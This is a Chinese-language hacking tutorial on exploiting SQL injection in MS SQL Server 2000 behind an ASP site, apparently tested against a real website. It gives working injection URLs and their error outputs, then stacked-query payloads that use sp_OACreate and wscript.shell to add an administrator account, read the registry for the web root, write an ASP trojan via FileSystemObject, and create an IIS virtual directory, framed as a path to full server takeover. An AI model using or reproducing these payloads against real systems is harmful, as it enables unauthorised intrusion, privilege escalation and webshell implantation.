榨干MS SQL Server 最后一滴血
風(fēng)云變換的網(wǎng)絡(luò),網(wǎng)絡(luò)安全讓人們不能不關(guān)注它。數(shù)據(jù)庫,讓我們不得不想起強(qiáng)大的ORACLE,MS SQL。微軟的漏洞最多,今天就用SQL INJECTION來讓MS SQL為我們好好的工作。
以下(使用一知名網(wǎng)站作為測試點(diǎn)),相信大家對(duì)SQL爆庫,爆表,爆字段都已掌握,在這里就不多說這方面了。
MS SQL內(nèi)置函數(shù)介紹:
@@VERSION 獲得Windows的版本號(hào),MS SQL的版本號(hào),補(bǔ)丁。 User_name() 得到當(dāng)前系統(tǒng)的連接用戶 Db_name() 得到當(dāng)前連接的數(shù)據(jù)庫 HOST_NAME() 得到當(dāng)前主機(jī)的名稱
這些信息有助我們對(duì)系統(tǒng)進(jìn)行簡單的了解
好,下面我們就開始吧!
語句:
http://www.xxx.com/list.asp?classid=1'
返回信息:
Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 '80040e14' 字符串 ' Order By Id DESC' 之前有未閉合的引號(hào)。 /list.asp,行290;
從這里未閉合的引號(hào)(“’”),我們可以確定存在SQL INJECTION。發(fā)現(xiàn)在漏洞當(dāng)然接著走了,利用以上介紹的函數(shù)為我們工作了:
語句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)
返回:
Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 '80040e07' 將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。 /list.asp,行290;
相關(guān)的信息出來了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,從MS SQL SERVER 后面的8.00.760可看出是SP3補(bǔ)丁。看了服務(wù)器的信息,接下應(yīng)該了解數(shù)據(jù)庫的權(quán)限了:
語句:
http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’
返回: 正常返回的信息
確定是權(quán)限是DBO,從表面DBO權(quán)限的連接用戶經(jīng)常是涉及SYSADMIN服務(wù)器角色成員。說明數(shù)據(jù)庫服務(wù)器角色成員組默認(rèn)是在每個(gè)數(shù)據(jù)庫增加一個(gè)DBO用戶。
返回原理根1=1,1=2相似..這里只是權(quán)限測試,我們也把它爆出來看看:
語句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())
返回:
Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 '80040e07' 將 nvarchar 值 'dbo' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。 /list.asp,行290;
說明連接數(shù)據(jù)庫的用戶權(quán)限很高,可以確定是服務(wù)器角色組中的成員。
語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 '80040e07' 將 nvarchar 值 'GameIMGSys' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。 /list.asp,行290
這樣就可以爆出當(dāng)前的數(shù)據(jù)庫。得到這么高權(quán)限的數(shù)據(jù)庫連接成員,我們當(dāng)然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取決于當(dāng)前服務(wù)器的配置,如果配置不合理的服務(wù)器,我們要直接拿NT ADMIN,拿NT ADMIN就要用到:
MSSQL內(nèi)置存儲(chǔ)過程:
sp_OACreate (通過它,危害很得更大,但是需要有SYSADMINS權(quán)限才可能使用) sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop
由于MS SQL一次可以執(zhí)行多語句,使得我們有機(jī)會(huì)使用更多的語句。
語句:
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINNTsystem32cmd.exe /c net user cntest chinatest /add'
正常返回。(提示:如果主機(jī)上shell存在的話那將在服務(wù)器上創(chuàng)建一個(gè)cntest的用戶)
創(chuàng)建用戶了,語句后再加個(gè)net localgroup administrators cntest /add加到管理組中。 如果對(duì)方的機(jī)子開著3389端口,或IPC的話,那接下來的事,就不用我多說了。
遇到專業(yè)型主機(jī),只開一個(gè)80端口,那應(yīng)該怎么辦呢?當(dāng)然,我們還是可能拿到WEBSHELL,再慢慢滲透的。
由于權(quán)限高,我們可能先建表,寫入ASP木馬的數(shù)據(jù)再通過MAKEWEBTASK,得到WEBSEHLL.手工寫入的程序太過于繁鎖,上傳WEBSHELL最大的問題還是網(wǎng)頁目錄,現(xiàn)在網(wǎng)上已經(jīng)有現(xiàn)成的工具通過BACKUP,和MASKWEBTASK的工具得到WEBSHELL了。以下推薦,獲取網(wǎng)頁路徑(通過存儲(chǔ)過程達(dá)到對(duì)注冊(cè)表的讀取):
利用內(nèi)置存儲(chǔ)過程 xp_regread(讀取注冊(cè)表鍵值,權(quán)限public):
語句:
http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test);
IIS的默認(rèn)路徑的在注冊(cè)表中HKEY_LOCAL_MACHINE SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots
利用爆字段將數(shù)據(jù)庫的值讀出來:
語句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)
返回:
Microsoft OLE DB Provider for ODBC Drivers 錯(cuò)誤 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 'E:www,,201' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。;
這說明網(wǎng)頁目錄在E:www,接下來也可以利用FSO直接寫入ASP木馬(提示必須擁用SYSADMIN權(quán)限才可使用FSO和FSO開入的前提下) :
語句:
http://www.xxx.com/list.asp?class=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:wwwtest.asp',1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'
在E:WWW下創(chuàng)建一個(gè)test.asp并寫入On Error Resume next語句:
http://www.xxx.com/list.asp?classid=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',%20@f%20out,%20'e:wwwtest.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'asp horse '
在E:WWWtest.asp增加一行記錄,記錄為asp horse, 整個(gè)完整木馬可能這樣寫入。(%百分號(hào)要用%25替代寫入)。如果得不到網(wǎng)頁目錄,怎么辦呢?前提你要猜到網(wǎng)站是否使用默認(rèn)WEB,或者使用域名作為WEB。
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:inetpubwwwrootmkwebdir.vbs -w '默認(rèn) Web 站點(diǎn)' -v 'e','e:'’;
在默認(rèn)的WEB站點(diǎn)下創(chuàng)建一個(gè)虛擬目錄E,指向E:盤下。
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse’
給虛擬目錄e加上瀏覽屬性不錯(cuò)吧。給自己開虛擬服務(wù)。想那些網(wǎng)頁目錄路徑,頭都快破了。這下給自己一個(gè)天開眼了。那傳WEBSHELL利用MS SQL為我們的工作告了一段落了,接下來工作應(yīng)該由你來了。
